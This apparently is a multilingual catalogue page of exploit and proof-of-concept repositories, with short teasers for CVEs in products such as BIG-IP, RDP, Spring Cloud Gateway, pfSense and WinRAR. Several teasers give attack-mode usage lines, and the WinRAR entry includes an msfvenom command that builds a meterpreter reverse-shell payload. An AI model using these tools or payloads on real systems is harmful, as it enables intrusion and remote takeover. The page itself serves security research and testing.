CVE-2022-1388-EXP

CVE-2022-1388-EXP Este é o CVE-2022-1388-EXP Autor:Caps@BUGFOR Github:https://github.com/bytecaps Recriador:LinJacck Github:https://github.com/LinJacck Demonstração de Funcionalidades Modo de verificação: python CVE20221388.py -v -u targeturl Modo de ataque: python CVE20221388.py -a -u targeturl ...

CVE-2021-30860

CVE-2021-30860 CVE-2021-30860 FORCEDENTRY è una vulnerabilità nota in MacOS, iOS e WatchOS. Permette l'esecuzione di codice arbitrario inviando a un dispositivo vittima un "PDF creato ad arte". Questa vulnerabilità è stata corretta da Apple il 13 settembre 2021 con le seguenti versioni: iOS 14.8...

CVE-2019-0708

CVE-2019-0708 A parte de travamento BSOD foi removida intencionalmente! Existe uma vulnerabilidade de execução remota de código nos Serviços de Área de Trabalho Remota – anteriormente conhecidos como Serviços de Terminal – quando um invasor não autenticado conecta-se ao sistema alvo usando RDP e...

CVE-2025-32433

CVE-2025-32433 Una vulnerabilità critica nel server SSH di Erlang/OTP consente l'esecuzione remota di codice non autenticata RCE. Il difetto risiede nel meccanismo di gestione dei messaggi del protocollo SSH, permettendo agli attaccanti di eseguire comandi arbitrari senza richiedere credenziali d...

CVE-2025-27520-PoC

CVE-2025-27520 — Simulazione educativa sicura / PoC Demo Stand ⚠️ Importante: Questa è una simulazione educativa sicura della vulnerabilità CVE-2025-27520. Il progetto include un servizio simulato Flask e uno scanner PoC sicuro Python. La simulazione crea un file di prova in data/ quando riceve un...

CVE-2024-5082

Panoramica Questo repository contiene un proof of concept in Python per CVE-2024-5082 , una vulnerabilità di esecuzione remota di codice in Sonatype Nexus Repository Manager 2. La vulnerabilità consente a un utente con permessi sufficienti di pubblicare un artefatto Maven appositamente creato e...

CVE-2023-33246

CVE-2023-33246 Apache RocketMQ Vulnerabilità di esecuzione di codice remoto CVE-2023-33246 Exploit Utilizzo: root@kitploit: java -jar CVE-2023-33246.jar -ip "127.0.0.1:10911" -cmd "open -a Calculator" Caratteristiche di questo strumento Poiché il meccanismo del heartbeat attiva la vulnerabilità...

CVE-2022-22947

Spring Cloud Gateway Actuator API SpEL Espressione Iniezione Comando Exploit Use：python3 CVE-2022-22947.py -u "http://127.0.0.1:8080" -c "whoami" Result： Aggiunta della route con espressione SpEL dannosa riuscita! Aggiornamento delle route riuscito! Risultato dell'attacco ottenuto con successo:...

Docx-Exploit-2021

Docx-Exploit-2021 Este exploit docx utiliza arquivos res dentro de arquivos .docx do Microsoft para executar arquivos maliciosos. Este exploit está relacionado ao CVE-2021-40444 Se não conseguir reproduzir Por favor, envie-me uma mensagem no Telegram: LazarusRebor...

CVE-2022-24637

CVE-2022-24637 Exploit für die nicht authentifizierte RCE in Open Web Analytics OWA 1.7.3. Diese Arbeit basiert auf https://devel0pment.de/?p=2494. HAFTUNGSAUSSCHLUSS: Dieses Skript wurde entwickelt, um die Sicherheit von Systemen zu überprüfen. Verwenden Sie dieses Skript nur auf Ihren eigenen...

CVE-2022-0848-RCE

CVE-2022-0848 Esecuzione di codice in remoto RCE in part-db 0.5.11 Cambia l'host nel file bash ed eseguilo, poi ottieni la shell tramite RCE...

CVE-2024-46538

इस भेद्यता की खोज करने वालेphysicszq को धन्यवाद। CVE-2024-46538 ★ CVE-2024-46538 PfSense Stored XSS जो मनमाना कोड निष्पादन की ओर ले जाता है - PoC ★ विवरण CVE-2024-46538 : PfSense Stored XSS भेद्यता विवरण: pfsense v2.5.2 में एक क्रॉस-साइट स्क्रिप्टिंग XSS भेद्यता हमलावरों को interfacesgroupsedit.p...

CVE-2020-15227

CVE-2020-15227 DISCLAIMER! Non mi assumo alcuna responsabilità per l'uso in ambienti reali, quindi per favore NON fatelo. Questo aggeggio serve solo a scopo dimostrativo e per testare cose per gli amministratori di sistema. Ho realizzato questo exploit in base alla pubblicazione di una CVE di Dav...

CVE-2026-42533

CVE-2026-42533 — nginx: Zwei-Pass-Capture-Überschreibung two-pass capture clobbering nginx 0.9.6–1.30.3 / mainline ≤1.31.2 Pre-Authentifizierungs-Heap-Overflow + Informationsleck in der komplexen Wert-Skript-Engine; CVSS 9.2. Dieselbe Grundursache hat zwei Angriffsflächen: HTTP Regex-location +...

session_reaper_lab

CVE-2025-54236 - SessionReaper Lab Docker-Umgebung zur praktischen Demonstration von CVE-2025-54236 SessionReaper: PHP-Object-Deserialisierung mit RCE in Magento Open Source 2.4.7. Ausschließlich zur Nutzung in kontrollierten Umgebungen. Nicht gegen Systeme ohne ausdrückliche Genehmigung ausführe...

CVE-2018-2894

CVE-2018-2894 CVE-2018-2894 vulnerabilità di WebLogic che consente l'upload arbitrario di file/RCE tramite accesso non autorizzato script di verifica...

CVE-2018-20250

Configurazione Video demo: https://youtu.be/5tuWsi1tGS0 Macchina VirtualBox: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Passaggi da eseguire Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe...

CVE-2021-46398

CVE-2021-46398 - Lalie ARNOUD, Gaspard ANDRIEU In questo repository troverai una prova di concerto dello sfruttamento della vulnerabilità CVE-2021-46398 tramite docker compose, oltre a un'analisi degli impatti di questa vulnerabilità sui sistemi informativi. root@kitploit: Exploit Title:...

CVE-2021-27928

CVE-2021-27928 Neste repositório, você encontrará uma prova de conceito da exploração da falha CVE-2021-27928 por meio de um contêiner docker. root@kitploit: Exploit Title: MariaDB 10.2 /MySQL - 'wsrepprovider' OS Command Execution Date: 03/18/2021 Exploit Author: Central InfoSec Version: MariaDB...

CVE-2022-31814

CVE-2022-31814 Aktualisierter Exploit - pfBlockerNG = 2.1.426 Unauth RCE CVE-2022-31814 Beschreibung Dieses Skript ist ein Proof-of-Concept-Exploit für pfBlockerNG = 2.1.426, der Remote-Codeausführung ermöglicht. Es akzeptiert eine einzelne Ziel-URL oder eine Liste von URLs, versucht, mithilfe...